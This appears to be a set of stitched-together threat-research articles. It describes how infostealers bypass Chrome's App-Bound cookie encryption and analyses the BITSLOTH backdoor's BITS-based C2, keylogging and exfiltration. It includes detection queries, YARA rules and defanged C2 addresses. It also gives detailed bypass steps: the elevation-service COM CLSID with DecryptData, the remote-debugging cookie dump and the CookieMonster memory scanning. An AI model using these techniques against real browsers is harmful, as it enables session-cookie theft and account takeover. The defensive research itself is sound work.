    return ((x >> n) | (x << (max_bits - n))) & (2**max_bits - 1)

def ror_13(data) -> int:
    data = data.encode('ascii')
    hash_value = 0

    for byte in data:
        hash_value = ror(hash_value, 13)
        
        if byte >= 0x61:
            byte -= 32  # Convert to uppercase
        hash_value = (hash_value + byte) & 0xFFFFFFFF

    return hash_value


def generate_hash(data, dll) -> int:
    dll_hash = ror_13(dll)
    result = (dll_hash + ror_13(data)) & 0xFFFFFFFF
    
    return hex(result)

AV products checked in GOSAR

In July, Google announced a new protection mechanism for cookies stored within Chrome on Windows, known as Application-Bound Encryption. There is no doubt this security implementation has raised the bar and directly impacted the malware ecosystem. After months with this new feature, many infostealers have written new code to bypass this protection (as the Chrome Security Team predicted) in order to stay competitive in the market and deliver capabilities that reliably retrieve cookie data from Chrome browsers.

Elastic Security Labs has been tracking a subset of this activity, identifying multiple techniques used by different malware families to circumvent App-Bound Encryption. While the ecosystem is still evolving in light of this pressure, our goal is to share technical details that help organizations understand and defend against these techniques. In this article, we will cover the different methods used by the following infostealer families:

• STEALC/VIDAR
• METASTEALER
• PHEMEDRONE
• XENOSTEALER
• LUMMA

Key takeaways

• Latest versions of infostealers implement bypasses around Google’s recent cookie protection feature using Application-Bound Encryption
• Techniques include integrating offensive security tool ChromeKatz, leveraging COM to interact with Chrome services and decrypt the app-bound encryption key, and using the remote debugging feature within Chrome
• Defenders should actively monitor for different cookie bypass techniques against Chrome on Windows in anticipation of future mitigations and bypasses likely to emerge in the near- to mid-term
• Elastic Security provides mitigations through memory signatures, behavioral rules, and hunting opportunities to enable faster identification and response to infostealer activity

Background

Generically speaking, cookies are used by web applications to store visitor information in the browser the visitor uses to access that web app. This information helps the web app track that user, their preferences, and other information from location to location– even across devices.

The authentication token is one use of the client-side data storage structures that enables much of how modern web interactivity works. These tokens are stored by the browser after the user has successfully authenticated with a web application. After username and password, after multifactor authentication (MFA) via one-time passcodes or biometrics, the web application “remembers” your browser is you via the exchange of this token with each subsequent web request.

A malicious actor who gets access to a valid authentication token can reuse it to impersonate the user to that web service with the ability to take over accounts, steal personal or financial information, or perform other actions as that user such as transfer financial assets.

Cybercriminals use infostealers to steal and commoditize this type of information for their financial gain.

Google Chrome Cookie Security

Legacy versions of Google Chrome on Windows used the Windows native Data Protection API (DPAPI) to encrypt cookies and protect them from other user contexts. This provided adequate protection against several attack scenarios, but any malicious software running in the targeted user’s context could decrypt these cookies using the DPAPI methods directly. Unfortunately, this context is exactly the niche that infostealers often find themselves in after social engineering for initial access. The DPAPI scheme is now well known to attackers with several attack vectors; from local decryption using the API, to stealing the masterkey and decrypting remotely, to abusing the domain-wide backup DPAPI key in an enterprise environment.

With the release of Chrome 127 in July 2024, Google implemented Application-Bound Encryption of browser data. This mechanism directly addressed many common DPAPI attacks against Windows Chrome browser data–including cookies. It does this by storing the data in encrypted datafiles, and using a service running as SYSTEM to verify any decryption attempts are coming from the Chrome process before returning the key to that process for decryption of the stored data.

While it is our view that this encryption scheme is not a panacea to protect all browser data (as the Chrome Security Team acknowledges in their release) we do feel it has been successful in driving malware authors to TTPs that are more overtly malicious, and easier for defenders to identify and respond to.

Stealer Bypass Techniques, Summarized

The following sections will describe specific infostealer techniques used to bypass Google’s App-Bound Encryption feature as observed by Elastic. Although this isn’t an exhaustive compilation of bypasses, and development of these families is ongoing, they represent an interesting dynamic within the infostealer space showing how malware developers responded to Google’s recently updated security control. The techniques observed by our team include:

• Remote debugging via Chrome’s DevTools Protocol
• Reading process memory of Chrome network service process (ChromeKatz and ReadProcessMemory (RPM))
• Elevating to SYSTEM then decrypting app_bound_encryption_key with the DecryptData method of GoogleChromeElevationService through COM

STEALC/VIDAR

Our team observed new code introduced to STEALC/VIDAR related to the cookie bypass technique around September 20th. These were atypical samples that stood out from previous versions and were implemented as embedded 64-bit PE files along with conditional checks. Encrypted values in the SQLite databases where Chrome stores its data are now prefixed with v20, indicating that the values are now encrypted using application-bound encryption.

STEALC was introduced in 2023 and was developed with “heavy inspiration” from other more established stealers such as RACOON and VIDAR. STEALC and VIDAR have continued concurrent development, and in the case of App-Bound Encryption bypasses have settled on the same implementation.

During the extraction of encrypted data from the databases the malware checks for this prefix. If it begins with v20, a child process is spawned using the embedded PE file in the .data section of the binary. This program is responsible for extracting unencrypted cookie values residing in one of Chrome's child processes.

This embedded binary creates a hidden desktop via OpenDesktopA / CreateDesktopA then uses CreateToolhelp32Snapshot to scan and terminate all chrome.exe processes. A new chrome.exe process is then started with the new desktop object. Based on the installed version of Chrome, the malware selects a signature pattern for the Chromium feature CookieMonster, an internal component used to manage cookies.

We used the signature patterns to pivot to existing code developed for an offensive security tool called ChromeKatz. At this time, the patterns have been removed from the ChromeKatz repository and replaced with a new technique. Based on our analysis, the malware author appears to have reimplemented ChromeKatz within STEALC in order to bypass the app-bound encryption protection feature.

Once the malware identifies a matching signature, it enumerates Chrome’s child processes to check for the presence of the --utility-sub-type=network.mojom.NetworkService command-line flag. This flag indicates that the process is the network service responsible for handling all internet communication. It becomes a prime target as it holds the sensitive data the attacker seeks, as described in MDSec’s post. It then returns a handle for that specific child process.

Next, it enumerates each module in the network service child process to find and retrieve the base address and size of chrome.dll loaded into memory. STEALC uses CredentialKatz::FindDllPattern and CookieKatz::FindPattern to locate the CookieMonster instances. There are 2 calls to CredentialKatz::FindDllPattern.

In the first call to CredentialKatz::FindDllPattern, it tries to locate one of the signature patterns (depending on the victim’s Chrome version) in chrome.dll. Once found, STEALC now has a reference pointer to that memory location where the byte sequence begins which is the function net::CookieMonster::~CookieMonster, destructor of the CookieMonster class.

The second call to CredentialKatz::FindDllPattern passes in the function address for net::CookieMonster::~CookieMonster(void) as an argument for the byte sequence search, resulting in STEALC having a pointer to CookieMonster’s Virtual Function Pointer struct.

The following method used by STEALC is again, identical to ChromeKatz, where it locates CookieMonster instances by scanning memory chunks in the chrome.dll module for pointers referencing the CookieMonster vtable. Since the vtable is a constant across all objects of a given class, any CookieMonster object will have the same vtable pointer. When a match is identified, STEALC treats the memory location as a CookieMonster instance and stores its address in an array.

For each identified CookieMonster instance, STEALC accesses the internal CookieMap structure located at an offset of +0x30, and which is a binary tree. Each node within this tree contains pointers to CanonicalCookieChrome structures. CanonicalCookieChrome structures hold unencrypted cookie data, making it accessible for extraction. STEALC then initiates a tree traversal by passing the first node into a dedicated traversal function.

For each node, it calls ReadProcessMemory to access the CanonicalCookieChrome structure from the target process’s memory, then further processing it in jy::GenerateExfilString.

STEALC formats the extracted cookie data by converting the expiration date to UNIX format and verifying the presence of the HttpOnly and Secure flags. It then appends details such as the cookie's name, value, domain, path, and the HttpOnly and Secure into a final string for exfiltration. OptimizedString structs are used in place of strings, so string values can either be the string itself, or if the string length is greater than 23, it will point to the address storing the string.

METASTEALER

METASTEALER, first observed in 2022, recently upgraded its ability to steal Chrome data, bypassing Google’s latest mitigation efforts. On September 30th, the malware authors announced this update via their Telegram channel, highlighting its enhanced capability to extract sensitive information, including cookies, despite the security changes in Chrome's version 129+.

The first sample observed in the wild by our team was discovered on September 30th, the same day the authors promoted the update. Despite claims that the malware operates without needing Administrator privileges, our testing revealed it does require elevated access, as it attempts to impersonate the SYSTEM token during execution.

As shown in the screenshots above, the get_decryption method now includes a new Boolean parameter. This value is set to TRUE if the encrypted data (cookie) begins with the v20 prefix, indicating that the cookie is encrypted using Chrome's latest encryption method. The updated function retains backward compatibility, still supporting the decryption of cookies from older Chrome versions if present on the infected machine.

The malware then attempts to access the Local State or LocalPrefs.json files located in the Chrome profile directory. Both files are JSON formatted and store encryption keys (encrypted_key) for older Chrome versions and app_bound_encrypted_key for newer ones. If the flag is set to TRUE, the malware specifically uses the app_bound_encrypted_key to decrypt cookies in line with the updated Chrome encryption method.

In this case, the malware first impersonates the SYSTEM token using a newly introduced class called ContextSwitcher.

It then decrypts the key by creating an instance via the COM of the Chrome service responsible for decryption, named GoogleChromeElevationService, using the CLSID 708860E0-F641-4611-8895-7D867DD3675B. Once initialized, it invokes the DecryptData method to decrypt the app_bound_encrypted_key key which will be used to decrypt the encrypted cookies.

METASTEALER employs a technique similar to the one demonstrated in a gist shared on X on September 27th, which may have served as inspiration for the malware authors. Both approaches leverage similar methods to bypass Chrome's encryption mechanisms and extract sensitive data.

PHEMEDRONE

This open-source stealer caught the world’s attention earlier in the year through its usage of a Windows SmartScreen vulnerability (CVE-2023-36025). While its development is still occurring on Telegram, our team found a recent release (2.3.2) submitted at the end of September including new cookie grabber functionality for Chrome.

The malware first enumerates the different profiles within Chrome, then performs a browser check using function (BrowserHelpers.NewEncryption) checking for the Chrome browser with a version greater than or equal to 127.

If the condition matches, PHEMEDRONE uses a combination of helper functions to extract the cookies.

By viewing the ChromeDevToolsWrapper class and its different functions, we can see that PHEMEDRONE sets up a remote debugging session within Chrome to access the cookies. The default port (9222) is used along with window-position set to -2400,-2400 which is set off-screen preventing any visible window from alerting the victim.

Next, the malware establishes a WebSocket connection to Chrome’s debugging interface making a request using deprecated Chrome DevTools Protocol method (Network.getAllCookies).

The cookies are then returned from the previous request in plaintext, below is a network capture showing this behavior:

XENOSTEALER

XENOSTEALER is an open-source infostealer hosted on GitHub. It appeared in July 2024 and is under active development at the time of this publication. Notably, the Chrome bypass feature was committed on September 26, 2024.

The approach taken by XENOSTEALER is similar to that of METASTEALER. It first parses the JSON file under a given Chrome profile to extract the app_bound_encrypted_key. However, the decryption process occurs within a Chrome process. To achieve this, XENOSTEALER launches an instance of Chrome.exe, then injects code using a helper class called SharpInjector, passing the encrypted key as a parameter.

The injected code subsequently calls the DecryptData method from the GoogleChromeElevationService to obtain the decrypted key.

LUMMA

In mid-October, the latest version of LUMMA implemented a new method to bypass Chrome cookie protection, as reported by @g0njxa.

We analyzed a recent version of LUMMA, confirming that it managed to successfully recover the cookie data from the latest version of Google Chrome (130.0.6723.70). LUMMA first creates a visible Chrome process via Kernel32!CreateProcessW.

This activity was followed up in the debugger with multiple calls to NtReadVirtualMemory where we identified LUMMA searching within the Chrome process for chrome.dll.

Once found, the malware copies the chrome.dll image to its own process memory using NtReadVirtualMemory. In a similar fashion to the ChromeKatz technique, Lumma leverages pattern scanning to target Chrome’s CookieMonster component.

Lumma uses an obfuscated signature pattern to pinpoint the CookieMonster functionality:

3Rf5Zn7oFA2a????k4fAsdxx????l8xX5vJnm47AUJ8uXUv2bA0s34S6AfFA????kdamAY3?PdE????6G????L8v6D8MJ4uq????k70a?oAj7a3????????K3smA????maSd?3l4

Below is the YARA rule after de-obfuscation:

rule lumma_stealer
{
  meta:
    author = "Elastic Security Labs"
  strings:
    $lumma_pattern = { 56 57 48 83 EC 28 89 D7 48 89 CE E8 ?? ?? ?? ?? 85 FF 74 08 48 89 F1 E8 ?? ?? ?? ?? 48 89 F0 48 83 C4 28 5F 5E C3 CC CC CC CC CC CC CC CC CC CC 56 57 48 83 EC 38 48 89 CE 48 8B 05 ?? ?? ?? ?? 48 31 E0 48 89 44 24 ?? 48 8D 79 ?? ?? ?? ?? 28 E8 ?? ?? ?? ?? 48 8B 46 20 48 8B 4E 28 48 8B 96 ?? ?? ?? ?? 4C 8D 44 24 ?? 49 89 10 48 C7 86 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 FA FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 31 E1}
  condition:
    all of them
}

After decoding and searching for the pattern in chrome.dll, this leads to the CookieMonster destructor (net::CookieMonster::~CookieMonster).

The cookies are then identified in memory and dumped out in clear text from the Chrome process.

Once completed, LUMMA sends out the cookies along with the other requested data as multiple zip files (xor encrypted and base64 encoded) to the C2 server.

Detection

Below are the following behavioral detections that can be used to identify techniques used by information stealers:

• Web Browser Credential Access via Unusual Process
• Web Browser Credential Access via Unsigned Process
• Access to Browser Credentials from Suspicious Memory
• Failed Access Attempt to Web Browser Files
• Browser Debugging from Unusual Parent
• Potential Browser Information Discovery

Additionally, the following queries can be used for hunting diverse related abnormal behaviors:

Cookies access by an unusual process

This query uses file open events and aggregate accesses by process, then looks for ones that are observed in unique hosts and with a low total access count:

FROM logs-endpoint.events.file-default*
| where event.category == "file" and event.action == "open" and file.name == "Cookies" and file.path like "*Chrome*"
| keep file.path, process.executable, agent.id
| eval process_path = replace(to_lower(process.executable), """c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\""", "c:\\\\users\\\\user\\\\")
| stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by process_path
| where agents_count <= 2 and access_count <=2

Below example of matches from diverse information stealers including the updated ones with new Chrome cookies stealing capabilities:

METASTEALER behavior tends to first terminate all running chrome instances then calls CoCreateInstance to instantiate the Google Chrome elevation service, this series of events can be expressed with the following EQL query:

sequence by host.id with maxspan=1s
[process where event.action == "end" and process.name == "chrome.exe"] with runs=5
[process where event.action == "start" and process.name == "elevation_service.exe"]

The previous hunt indicates suspicious agents but doesn't identify the source process. By enabling registry object access auditing through event 4663 on the Chrome Elevation service CLSID registry key {708860E0-F641-4611-8895-7D867DD3675B}, we can detect unusual processes attempting to access that key:

FROM logs-system.security-default* | where event.code == "4663" and winlog.event_data.ObjectName == "\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\\CLSID\\{708860E0-F641-4611-8895-7D867DD3675B}" and not winlog.event_data.ProcessName in ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe") and not winlog.event_data.ProcessName like "C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\*\\\\elevation_service.exe" | stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by winlog.event_data.ProcessName | where agents_count <= 2 and access_count <=2

Below is an example of matches on the METASTEALER malware while calling CoCreateInstance (CLSID_Elevator):

The PHEMEDRONE stealer uses the known browser debugging method to collect cookies via Chromium API, this can be observed in the following screenshot where we can see an instance of NodeJs communicating with a browser instance with debugging enabled over port 9222:

The following EQL query can be used to look for unusual processes performing similar behavior:

sequence by host.id, destination.port with maxspan=5s
[network where event.action == "disconnect_received" and
 network.direction == "ingress" and
 process.executable in~ ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe") and
 source.address like "127.*" and destination.address like "127.*"]
[network where event.action == "disconnect_received" and network.direction == "egress" and not
 process.executable in~ ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe") and source.address like "127.*" and destination.address like "127.*"]

Chrome Browser Spawned from an Unusual Parent

The STEALC sample that uses ChromeKatz implementation spawns an instance of Google Chrome to load the user default profile, while looking for normal parent executables, it turns out it’s limited to Chrome signed parents and Explorer.exe, the following ES|QL query can be used to find unusual parents:

FROM logs-endpoint.events.process-*
| where event.category == "process" and event.type == "start" and to_lower(process.name) == "chrome.exe" and process.command_line like  "*--profile-directory=Default*"
| eval process_parent_path = replace(to_lower(process.parent.executable), """c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\""", "c:\\\\users\\\\user\\\\")
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process_parent_path
| where agents_count == 1 and total_executions <= 10

Untrusted Binaries from Chrome Application folder

Since the Chrome elevation service trusts binaries running from the Chrome program files folder, the following queries can be used to hunt for unsigned or untrusted binaries executed or loaded from there:

Unsigned DLLs loaded from google chrome application folder

FROM logs-endpoint.events.library*
| where event.category == "library" and event.action == "load" and to_lower(dll.path) like "c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*" and not (dll.code_signature.trusted == true)
| keep process.executable, dll.path, dll.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, dll.path, dll.hash.sha256
| where agents_count == 1 and total_executions <= 10

Unsigned executable launched from google chrome application folder

FROM logs-endpoint.events.process*
| where event.category == "library" and event.type == "start" and (to_lower(process.executable) like "c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*" or to_lower(process.executable) like "c:\\\\scoped_dir\\\\program files\\\\google\\\\chrome\\\\application\\\\*")
and not (process.code_signature.trusted == true and process.code_signature.subject_name == "Goole LLC")
| keep process.executable,process.hash.sha256, agent.id
| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, process.hash.sha256
| where agents_count == 1 and total_executions <= 10

Conclusion

Google has raised the bar implementing new security controls to protect cookie data within Chrome. As expected, this has caused malware developers to develop or integrate their own bypasses. We hope Google will continue to innovate to provide stronger protection for user data.

Organizations and defenders should consistently monitor for unusual endpoint activity. While these new techniques may be successful, they are also noisy and detectable with the right security instrumentation, processes, and personnel.

Stealer Bypasses and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Credential Access
• Defense Evasion
• Discovery
• Execution

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Steal Web Session Cookie
• Process Injection
• Credentials from Password Stores
• System Information Discovery
• Process Discovery
• Inter-Process Communication: Component Object Model

YARA

Elastic Security has created YARA rules to identify this activity.

• Windows.Trojan.Stealc
• Windows.Infostealer.PhemedroneStealer
• Windows.Trojan.MetaStealer
• Windows.Trojan.Xeno
• Windows.Trojan.Lumma
• Windows.Infostealer.Generic

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://developer.chrome.com/release-notes/127
• https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html

BITSLOTH is a newly discovered Windows backdoor that leverages the Background Intelligent Transfer Service (BITS) as its command-and-control mechanism. BITSLOTH was uncovered during an intrusion within the LATAM region earlier this summer. This malware hasn't been publicly documented to our knowledge and while it’s not clear who’s behind the malware, it has been in development for several years based on tracking distinct versions uploaded to VirusTotal.

The most current iteration of the backdoor at the time of this publication has 35 handler functions including keylogging and screen capture capabilities. In addition, BITSLOTH contains many different features for discovery, enumeration, and command-line execution. Based on these capabilities, we assess this tool is designed for gathering data from victims.

Key takeaways

• BITSLOTH is a newly discovered Windows backdoor
• BITSLOTH uses a built-in Microsoft feature, Background Intelligent Transfer Service (BITS) for command-and-control communication
• BITSLOTH has numerous command handlers used for discovery/enumeration, execution, and collection purposes
• The backdoor contains logging functions and strings consistent with the authors being native Chinese speakers

Discovery

Our team observed BITSLOTH installed on a server environment on June 25th during REF8747, this was an intrusion into the Foreign Ministry of a South American government. The intrusion was traced back to PSEXEC execution on one of the infected endpoints. The attackers used a slew of publicly available tools for most of their operations with the exception of BITSLOTH.

• RINGQ
• IOX
• STOWAWAY
• GODPOTATO
• NOPAC
• MIMIKATZ
• PPLFAULT
• CERTIFY

One of the primary mechanisms of execution was through a shellcode loading project called RINGQ. In a similar fashion to DONUTLOADER, RINGQ will convert any Windows executable and generate custom shellcode placing it into a file ( main.txt). This shellcode gets decrypted and executed in-memory. This technique is used bypass defenses that rely on hash blocklists or static signatures in some anti-malware products.

We observed RINGQ being used to load the IOX port forwarder. Note: The key in the image below is the hex conversion of “whoami”.

Additionally the attackers used the STOWAWAY utility to proxy encrypted traffic over HTTP to their C2 servers. Proxy tools, tunnelers, and redirectors are commonly used during intrusions to conceal the adversary responsible for an intrusion. These tools offer adversaries various features, including the ability to bypass internal network controls, provide terminal interfaces, encryption capabilities as well as file transfer options.

After initial access, the actor moved laterally and dropped BITSLOTH in the form of a DLL (flengine.dll) inside the ProgramData directory. The actor then executed the music-making program FL Studio (fl.exe). Based on the observed call stack associated with the self-injection alert, we confirmed the threat actor used a traditional side-loading technique using a signed version of FL Studio.

  c:\windows\syswow64\ntdll.dll!0x770841AC
  c:\windows\syswow64\ntdll.dll!0x7709D287
  c:\windows\syswow64\kernelbase.dll!0x76ED435F
  c:\windows\syswow64\kernelbase.dll!0x76ED42EF
  Unbacked!0x14EAB23
  Unbacked!0x14EA8B6
  c:\programdata\pl studio\flengine.dll!0x74AD2F2E
  c:\programdata\pl studio\fl.exe!0xDB3985
  c:\programdata\pl studio\fl.exe!0xDB3E5E
  c:\programdata\pl studio\fl.exe!0xDB4D3F
  c:\windows\syswow64\kernel32.dll!0x76B267F9
  c:\windows\syswow64\ntdll.dll!0x77077F4D
  c:\windows\syswow64\ntdll.dll!0x77077F1B

This call stack was generated along with a process injection alert, and enabled researchers to extract an in-memory DLL that was set with Read/Write/Execute(RWX) page protections.

BITSLOTH overview

During our analysis, we found several older BITSLOTH samples demonstrating a record of development since December 2021. Within this project, the malware developer chose notable terminology– referring to BITSLOTH as the Slaver component and the command and control server as the Master component. Below is an example of one of the PDB file paths linked to BITSLOTH that depicts this:

BITSLOTH employs no obfuscation around control flow or any kind of string encryption.

Both older and recent samples contain strings used for logging and debugging purposes. As an example at startup, there is a string referenced in the read-only section (.rdata).

This Simplified Chinese wide-character string translates to: Note: There is already a program running, do not run it again…

These small snippets contained within BITSLOTH help shed light on the development and prioritization of features, along with what appear to be operator instructions. In the latest version, a new scheduling component was added by the developer to control specific times when BITSLOTH should operate in a victim environment. This is a feature we have observed in other modern malware families such as EAGERBEE.

BITSLOTH code analysis

BITSLOTH is a backdoor with many different capabilities including:

• Running and executing commands
• Uploading and downloading files
• Performing enumeration and discovery
• Collecting sensitive data through keylogging and screen capturing

Mutex

BITSLOTH uses a hard-coded mutex (Global\d5ffff77ff77adad657658) within each sample to ensure only one instance is running at a time.

Communication

BITSLOTH adopts a traditional client/server architecture, the developer refers to the client as the Slaver component and the command and control server (C2) as the Master component. The developer embeds the IP/port of the C2 server in each sample with a front-loaded string (rrrr_url). This string acts as a key to identify the C2 configuration in itself while running in memory, this is used when updating the C2 server.

Below are the configurations in several samples our team has observed, the threat actor configures both internal and external IP ranges.

rrrr_url216.238.121[.]132:8443
rrrr_url192.168.1[.]125:8443 
rrrr_url192.168.1[.]124:8443
rrrr_url45.116.13[.]178:443

One of the defining features of BITSLOTH is using the Background Intelligent Transfer Service (BITS) for C2. While this feature has been designed to facilitate the network transfer of files between two machines, it’s been abused by multiple state-sponsored groups and continues to fly under the radar against organizations. This medium is appealing to adversaries because many organizations still struggle to monitor BITS network traffic and detect unusual BITS jobs.

Windows has a system administration feature called Background Intelligent Transfer Service (BITS) enabling the download and upload of files to HTTP web servers or SMB shares. The BITS service employs multiple features during the file transfer process such as the ability to pause/resume transfers, handling network interruptions, etc. BITS traffic is usually associated with software updates therefore wrongfully implied as trusted. Many organizations lack visibility into BITS network traffic making this an appealing target.

The BITS API is exposed through Window’s Component Object Model (COM) using the IBackgroundCopyManager interface. This interface provides capabilities to create new jobs, enumerate existing jobs in the transfer queue, and access a specific job from a transfer queue.

After initialization, BITSLOTH cancels any existing BITS jobs on the victim machine that match the following display names:

• WU Client Download
• WU Client Upload
• WU Client Upload R

These names are used by the developer to blend in and associate the different BITS transfer jobs with their respective BITS job type. By canceling any existing jobs, this allows the execution of the malware to operate from a clean state.

Below are the Microsoft definitions matching the type of BITS job:

• BG_JOB_TYPE_DOWNLOAD - Specifies that the job downloads files to the client.
• BG_JOB_TYPE_UPLOAD - Specifies that the job uploads a file to the server.
• BG_JOB_TYPE_UPLOAD_REPLY - Specifies that the job uploads a file to the server, and receives a reply file from the server application.

After canceling any existing jobs, the MAC address and operating system information are retrieved and placed into global variables. A new thread gets created, configuring the auto-start functionality. Within this thread, a new BITS download job is created with the name (Microsoft Windows).

This download job sets the destination URL to http://updater.microsoft[.]com/index.aspx. While this domain is not routable, BITSLOTH masquerades this BITS job using a benign looking domain as a cover then uses SetNotifyCmdLine to execute the malware when the transfer state is changed.

Interestingly, this unique toolmark allowed us to pivot to additional samples showing this family has been in circulation for several years.

At this point, the malware has now been configured with persistence via a BITS job named Microsoft Windows. Below is a screenshot of this job’s configuration showing the notification command line set to the BITSLOTH location (C:\ProgramData\Media\setup_wm.exe)

Once BITSLOTH becomes active, it will start requesting instructions from the C2 server using the WU Client Download job. This request URL is generated by combining the MAC address with a hard-coded string (wu.htm). Below is an example URL:

https://192.168.182.130/00-0C-29-0E-29-87/wu.htm

In response to this request, the malware will then receive a 12-byte structure from the C2 server containing a unique ID for the job, command ID for the handler, and a response token. Throughout these exchanges of file transfers, temporary files from the victim machine are used as placeholders to hold the data being transmitted back and forth, BITSLOTH uses a filename starting with characters (wm) appended by random characters.

Command functionality

BITSLOTH uses a command handler with 35 functions to process specific actions that should be taken on the victim machine. The malware has the option to be configured with HTTP or HTTPS and uses a hardcoded single byte XOR (0x2) to obfuscate the incoming instructions from the C2 server. The outbound requests containing the collected victim data have no additional protections by the malware itself and are sent in plaintext.

In order to move fast, our team leveraged a helpful Python implementation of a BITS server released by SafeBreach Labs. By setting the C2 IP to our loopback address inside a VM, this allowed us to get introspection on the network traffic.

The handlers all behave in a similar approach performing a primary function then writing the data returned from the handler to a local temporary file. These temporary files then get mapped to a BITS upload job called WU Client Upload. Each handler uses its own string formatting to create a unique destination URL. Each filename at the end of the URL uses a single letter to represent the type of data collected from the host, such as P.bin for processes or S.bin for services.

http://192.168.182.130/00-0C-29-0E-29-87/IF/P.bin

Below is an example screenshot showing the process enumeration handler with the string formatting and how this data is then linked to the BITS upload job.

This link to the exfiltrated data can also be observed by viewing the BITS upload job directly. In the screenshots below, we can see the destination URL (C2 server) for the upload and the temporary file (wm9F0C.tmp) linked to the job.

If we look at the temporary file, we can see the collected process information from the victim host.

Soon after the upload job is created, the data is sent over the network through a BITS_POST request containing the captured data.

Command handling table

Backdoor functionality

BITSLOTH includes a wide range of post-compromise capabilities for an adversary to operate within a victim environment. We will focus on the more significant capabilities by grouping them into different categories.

Discovery/enumeration

A portion of the BITSLOTH handlers are focused on retrieving and enumerating data from victim machines. This includes:

• Retrieving process information via WTSEnumerateProcessesW
• Collecting Windows services via EnumServicesStatusW
• Enumerating all top-level Windows via EnumWindows with a callback function
• Retrieving system information via windows utilities such as systeminfo and msinfo32

In many of the handlers, the locale version is configured to chs (Chinese - Simplified).

BITSLOTH has a couple custom enumeration functions tied to retrieving file listings and performing directory tree searches. The file listing handler takes a custom parameter from the operator to target specific folder locations of interest:

• GET_DESKDOP → CSIDL_DESKTOPDIRECTORY (Desktop)
• GET_BITBUCKET -> CSIDL_BITBUCKET (Recycle Bin)
• GET_PERSONAl -> CSIDL_MYDOCUMENTS (My Documents)

BITSLOTH also has the ability to collect entire directory/file listings on the machine for every file by using the Windows tree utility. This handler loops across the alphabet for each drive letter where the data is then saved locally in a temporary file named aghzyxklg.

The tree data is then compressed and sent to the C2 server with a .ZIP extension. Below is an example of the collected data. This data can help pinpoint sensitive files or provide more context about the target environment.

Collection

In terms of collection, there are a few handlers used for actively gathering information. These are centered around capturing screenshots from the desktop and performing keylogging functionality.

BITSLOTH implements a lightweight function used to identify capture recording devices, this appears to be a technique to check for a camera using the Windows API (capGetDriverDescriptionW).

BITSLOTH has the ability to take screenshots based on parameters provided by the operator. Input to this function uses a separator (||) where the operator provides the number of seconds of the capture interval and the capture count. The images are stored as BMP files with a hard coded name ciakfjoab and compressed with the DEFLATE algorithm using a .ZIP archive. These timestamped zipped archives are then sent out to the C2 server.

The handler leverages common screenshot APIs such as CreateCompatibleBitmap and BitBlt from Gdi32.dll.

For recording keystrokes, BITSLOTH uses traditional techniques by monitoring key presses using GetAsyncKeyState/GetKeyState. The handler has an argument for the number of seconds to perform the keylogging. This data is also compressed in a .ZIP file and sent outbound to the C2 server.

Execution / Maintenance

BITSLOTH has multiple capabilities around maintenace and file execution as well as standard backdoor functionalities such as:

• Capability to execute files stand-alone via ShellExecuteW
• Windows terminal capability to execute commands and read data back via pipes
• Create directories, perform reboots, shutdown the machine, terminate processes
• Perform file upload and download between C2 server
• Modify BITSLOTH configuration such as communication modes, update C2 URL, turn off keylogging/screenshot features

BITSLOTH pivots

BITSLOTH appears to be actively deployed. We identified another BITSLOTH C2 server (15.235.132[.]67) using the same port (8443) with the same SSL certificate used from our intrusion.

While it’s not exactly clear who’s behind BITSLOTH, there was a large amount of activity of VirusTotal uploads occurring on December 12, 2021. With around 67 uploads over 24 hours from one submitter (1fcc35ea), we suspect someone linked to this project was validating detections, making modifications, and uploading different versions of BITSLOTH to VirusTotal. One sample was packed with VMProtect, others stripped of functionality, some uploads were debug builds, etc.

A lot of time has passed since then, but it is interesting seeing this family show up in a recent intrusion. Whatever the objective behind this malware, it's surprising that this family remained under the radar for so many years.

REF 8747 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

[h4] Tactics Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Collection
• Command and Control
• Discovery
• Execution
• Exfiltration
• Persistence

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• BITS Jobs
• System Information Discovery
• Hijack Execution Flow: DLL Side-Loading
• Screen Capture
• Input Capture: Keylogging
• Proxy

Detecting REF8747

Detection

The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:

• Persistence via BITS Job Notify Cmdline
• LSASS Access Attempt via PPL Bypass
• LSASS Access Attempt from an Unsigned Executable
• Suspicious Parent-Child Relationship
• Credential Access via Known Utilities
• Shellcode Injection

YARA Signatures

• Windows.Hacktool.Mimikatz
• Windows.Trojan.BITSloth
• Windows.Hacktool.Iox
• Windows.Hacktool.Rubeus
• Windows.Hacktool.Certify
• Windows.Hacktool.RingQ
• Windows.Hacktool.GodPotato
• Multi.Hacktool.Stowaway

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify BITSLOTH:

rule Windows_Trojan_BITSLOTH_05fc3a0a {
    meta:
        author = "Elastic Security"
        creation_date = "2024-07-16"
        last_modified = "2024-07-18"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.BITSLOTH"
